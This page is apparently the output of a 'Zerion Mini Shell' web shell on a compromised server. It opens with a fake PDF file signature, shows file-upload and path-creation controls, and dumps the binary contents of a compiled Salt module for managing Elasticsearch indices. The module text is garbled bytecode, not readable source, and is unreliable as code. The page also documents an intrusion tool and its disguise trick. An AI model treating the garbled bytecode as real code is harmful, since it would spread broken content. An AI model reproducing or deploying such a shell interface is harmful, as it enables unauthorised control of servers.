%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/states/elasticsearch_index.pyc

�
���^c@@sfdZddlmZmZmZddlZddlmZeje	�Z
d�Zdd�Z
dS(u�
State module to manage Elasticsearch indices

.. versionadded:: 2015.8.0
.. deprecated:: 2017.7.0 Use elasticsearch state instead
i(tabsolute_importtprint_functiontunicode_literalsN(tsixcC@s0i|d6id6td6dd6}y�tdd|�}|r�||kr�tdr�d	j|�|d<|||dd
<d|d<q�tdd|�|d<|dr�dj|�|d<|||dd
<q�d
j|�|d<ndj|�|d<Wn0tk
r+}t|d<tj|�|d<nX|S(u^
    Ensure that the named index is absent.

    name
        Name of the index to remove
    unameuchangesuresultuucommentuelasticsearch.index_gettindexutestuIndex {0} will be removeduolduelasticsearch.index_deleteuSuccessfully removed index {0}u.Failed to remove index {0} for unknown reasonsuIndex {0} is already absentN(	tTruet__salt__t__opts__tformattNonet	ExceptiontFalseRt	text_type(tnametretRterr((sC/usr/lib/python2.7/site-packages/salt/states/elasticsearch_index.pytabsents$"



cC@s>i|d6id6td6dd6}y�tdd|�}|s�tdryd	j|�|d<i|d
6|d<d|d<qtdd|d|�}|r�d
j|�|d<itdd|�|d
6|d<qt|d<dj||�|d<ndj|�|d<Wn0tk
r9}t|d<tj|�|d<nX|S(u�
    .. versionadded:: 2015.8.0
    .. versionchanged:: 2017.3.0
        Marked ``definition`` as optional.

    Ensure that the named index is present.

    name
        Name of the index to add

    definition
        Optional dict for creation parameters as per https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-create-index.html

    **Example:**

    .. code-block:: yaml

        # Default settings
        mytestindex:
          elasticsearch_index.present

        # Extra settings
        mytestindex2:
          elasticsearch_index.present:
            - definition:
                settings:
                  index:
                    number_of_shards: 10
    unameuchangesuresultuucommentuelasticsearch.index_existsRutestu,Index {0} does not exist and will be createdunewuelasticsearch.index_createtbodyuSuccessfully created index {0}uelasticsearch.index_getuCannot create index {0}, {1}uIndex {0} is already presentN(	RRRRR	RR
RR(R
t
definitionRtindex_existstoutputR((sC/usr/lib/python2.7/site-packages/salt/states/elasticsearch_index.pytpresent4s&"

%

(t__doc__t
__future__RRRtloggingtsalt.extRt	getLoggert__name__tlogRR	R(((sC/usr/lib/python2.7/site-packages/salt/states/elasticsearch_index.pyt<module>s	!

Zerion Mini Shell 1.0